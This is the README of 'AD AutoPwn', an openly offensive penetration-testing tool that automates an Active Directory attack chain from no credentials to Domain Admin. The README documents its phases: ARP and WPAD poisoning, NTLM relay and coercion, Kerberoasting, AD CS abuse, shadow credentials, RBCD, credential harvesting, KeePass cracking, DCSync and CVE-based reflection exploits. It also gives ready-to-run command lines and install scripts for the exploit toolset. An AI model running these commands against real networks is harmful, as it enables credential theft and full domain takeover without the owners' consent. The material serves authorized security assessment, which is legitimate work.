
AD AutoPwn v4.10.0 — automated AD attack chain, zero-auth to Domain Admin. Discover/Kerberoast/AS-REP/AD CS ESC1-16/Shadow Creds/RBCD+KCD/Ghost-SPN/TGS-rewrite/Dollar-Ticket/WPAD/WSUS/PXE/SCCM/BloodHound auto-action/Loot/DCSync/DPAPI + Synacktiv 2026 reflection (CVE-2025-58726/2026-24294/2026-26128). Authorized pentesting only.
Zero-Auth to Domain Admin — Automated Active Directory Attack Chain
A fully automated penetration testing tool that chains 25+ attack techniques to compromise Active Directory environments. Designed for authorized security assessments.
_ ___ _ _ ___
/_\ | \ /_\ _ _| |_ ___| _ \__ __ ___ _
/ _ \| |) | / _ \ || | _/ _ \ _/\ V V / ' \
/_/ \_\___/ /_/ \_\_,_|\__\___/_| \_/\_/|_||_|
⚡ Zero-Auth to Domain Admin — Attack Chain
Discover | Sniff | ARP | WPAD | WSUS | PXE | AD CS | SCCM | Roast
BloodHound | Reflect | Loot | RBCD+KCD | DCSync | DPAPI
DONT_REQ_PREAUTH)--spray-password).library-ms / .theme / .url files on writable sharesbloodhound-python -c All collection + ZIP analysisWriteSPN, AddKeyCredentialLink, GenericAll/Write, WriteDacl/Owner, WriteAccountRestrictions, AddAllowedToAct, ForceChangePasswordWriteSPN → ghost-SPN upgrade (CVE-2025-58726)AddKeyCredentialLink → shadow credentials → PKINIT → NT hashGenericAll / WriteAccountRestrictions on Computer → RBCD chain → admin TGS-altservice rewrite, in one phase-altservice$-suffix retry on principal lookup → TGT for Linux user via auto-created <user>$ machine account → GSSAPI SSHGet-CimInstance Win32_Process via nxc -x; regex-greps for passwords in mysql/sqlcmd/runas/KeePass/--password style flags*.kdbx in C:\Users, download via smbclient, keepass2john | hashcat -m 13400# Fully automated — zero-cred chain (auto-discovers everything)
sudo ./ad-autopwn.py
# With credentials — full chain
./ad-autopwn.py -u jsmith -p 'P@ss123' -d corp.local --dc-ip 10.0.0.1
# AWS / VPC labs (Layer 2 attacks blocked) — auto-discovery still works
sudo ./ad-autopwn.py --no-arp --no-wpad
# Pre-auth credential discovery (lockout-safe)
sudo ./ad-autopwn.py --phase discover --no-arp --no-wpad
# BloodHound graph collection + automatic high-value analysis
./ad-autopwn.py --phase bloodhound -u user -p pass -d corp.local \
--dc-ip 10.0.0.1 --dc-fqdn dc01.corp.local
# Dollar Ticket — TGT for 'root' via auto-created root$ machine acct
./ad-autopwn.py -u user -p pass -d corp.local --dc-ip 10.0.0.1 \
--phase dollar-ticket --target-user root
# RBCD+KCD chain — full ghost-SPN + RBCD + altservice rewrite, one shot
./ad-autopwn.py -u user -p pass -d corp.local --dc-ip 10.0.0.1 \
--phase rbcd-kcd -T VHAGAR$ --alt-spn HTTP/vhagar.corp.local
# AppLocker bypass
./ad-autopwn.py -u user -p pass --applocker --lolbin mshta --custom-cmd "whoami"
# Dry run (print every command, run nothing — even background processes)
./ad-autopwn.py --dry-run -u user -p pass -d corp.local --dc-ip 10.0.0.1
apt install python3 impacket-scripts netexec nmap hashcat tcpdump \
responder dsniff arp-scan certipy-ad bloodyad bloodhound.py \
smbclient atftp wimtools john seclists
/opt/tools/)git clone https://github.com/mverschu/CVE-2025-33073 /opt/tools/CVE-2025-33073
git clone https://github.com/dirkjanm/krbrelayx /opt/tools/krbrelayx
git clone https://github.com/Wh04m1001/DFSCoerce /opt/tools/DFSCoerce
git clone https://github.com/ShutdownRepo/ShadowCoerce /opt/tools/ShadowCoerce
git clone https://github.com/ShutdownRepo/pywhisker /opt/tools/pywhisker
git clone https://github.com/dirkjanm/PKINITtools /opt/tools/PKINITtools
git clone https://github.com/csandker/pxethiefy /opt/tools/pxethiefy
git clone https://github.com/garrettfoster13/sccmhunter /opt/tools/sccmhunter
git clone https://github.com/dirkjanm/mitm6 /opt/tools/mitm6
git clone https://github.com/Hackndo/pyGPOAbuse /opt/tools/pyGPOAbuse
git clone https://github.com/Hackndo/WebclientServiceScanner /opt/tools/WebclientServiceScanner
git clone https://github.com/almandin/Certihound /opt/tools/Certihound
pipx install coercer
pipx install wsuks --system-site-packages
kerbrute — grab the latest binary from
https://github.com/ropnop/kerbrute/releases — install to /usr/local/bin/userenum-cldap — companion CLDAP NetLogon-ping enumerator (lives in
this repo as userenum-cldap.py; install to /usr/local/bin/userenum-cldap)asn1tools — pip install asn1tools (CLDAP enum runtime dep)# APT packages
sudo apt install python3 impacket-scripts netexec nmap hashcat tcpdump \
responder dsniff arp-scan certipy-ad bloodyad bloodhound.py \
smbclient atftp wimtools john seclists
# All required repos
for repo in mverschu/CVE-2025-33073 dirkjanm/krbrelayx \
Wh04m1001/DFSCoerce ShutdownRepo/ShadowCoerce \
ShutdownRepo/pywhisker dirkjanm/PKINITtools \
csandker/pxethiefy garrettfoster13/sccmhunter \
dirkjanm/mitm6 Hackndo/pyGPOAbuse \
Hackndo/WebclientServiceScanner almandin/Certihound; do
sudo git clone "https://github.com/$repo" "/opt/tools/$(basename $repo)"
done
# Python deps for repos that need them
for repo in pywhisker PKINITtools sccmhunter pxethiefy mitm6 pyGPOAbuse Certihound; do
[ -f "/opt/tools/$repo/requirements.txt" ] && \
pip3 install --break-system-packages -r "/opt/tools/$repo/requirements.txt"
done
# Pipx packages
pipx install coercer
pipx install wsuks --system-site-packages
# kerbrute (ropnop) binary
sudo wget -q -O /usr/local/bin/kerbrute \
https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64
sudo chmod +x /usr/local/bin/kerbrute
# CLDAP userenum runtime dep
sudo pip3 install --break-system-packages asn1tools
# userenum-cldap companion script (this repo)
sudo wget -q -O /usr/local/bin/userenum-cldap \
https://raw.githubusercontent.com/jonaslejon/ad-autopwn/main/userenum-cldap.py
sudo chmod +x /usr/local/bin/userenum-cldap
# ad-autopwn itself
sudo cp ad-autopwn.py /usr/local/bin/ad-autopwn
sudo chmod +x /usr/local/bin/ad-autopwn
check_prerequisites() runs at the top of every invocation and prints
a green ✅ / yellow ⚠️ status for every tool the script touches, with
install hints for anything missing.
eu-west-1 — full v4.10.0 phase coverage verified
end-to-end. Auto-discovery on AWS now works with literally just
--no-arp --no-wpad (everything else — interface, attacker IP,
domain, DC IP, DC FQDN — is auto-detected via subnet sweep + dig
fallback to @<dc_ip>).stannis.baratheon → GenericAll → KINGSLANDING$ edge: from a single
low-priv credential to admin TGS on the DC in 5 seconds.krbtgt — golden ticket viable.--dry-run prints every command (foreground and background) without
executing — won't spawn ARP spoofers, mitm6, Responder, or ntlmrelayx.try/finally with os.chdir
to ensure restore lands in the right directory on any exit path.--no-cleanup keeps everything for forensic review.For authorized penetration testing and security research only.
This tool is designed for use by security professionals during authorized engagements. Unauthorized access to computer systems is illegal. Always obtain written permission before testing.
Triop AB — https://triop.se
MIT
| Phase | Auth | Description |
|---|
full | optional | Complete automated chain (auto-detects with or without creds) |
sniff | none | Passive L2 traffic discovery |
discover | none | kerbrute + CLDAP + AS-REP + pre2k + (opt-in) spray |
arp | none | ARP spoof + NTLM capture |
wpad | none | WPAD/LLMNR poisoning (mitm6 / Responder) |
wsus | none | WSUS NTLM relay |
pxe | none | PXE boot credential theft |
enum | yes | Target enumeration (relay targets, unconstrained delegation, WebClient hosts) |
enrich | yes | nxc 13-module battery (LAPS, timeroast, MAQ, nopac, zerologon, …) + auto-consumer |
bloodhound | yes | bloodhound-python -c All + analysis + auto-action chains |
roast | yes | Kerberoast + AS-REP Roast |
adcs | yes | AD CS exploitation (ESC1-ESC16) |
sccm | yes | SCCM NAA credential theft |
exploit | yes | NTLM reflection / coercion exploit on a specific target |
dcsync | yes (DA) | Domain hash dump |
loot | yes | Process cmdline harvest + KeePass discovery/crack |
tgs-rewrite | none | Offline ccache sname rewrite (tgssub-style KCD bypass) |
dollar-ticket | yes | KDC $-suffix retry attack (Linux GSSAPI target) |
rbcd-kcd | yes | Full RBCD+KCD chain orchestrator (WriteSPN → ghost → RBCD → S4U+altservice) |
reflect-tcpport | yes | CVE-2026-24294 LPE primitive (SMB-on-tcpport) |
reflect-loopback | yes | CVE-2026-26128 LPE primitive (Kerberos loopback via Unicode SPN) |
kerb-reflect | yes | CVE-2025-58726 ghost-SPN AP-REQ reflection |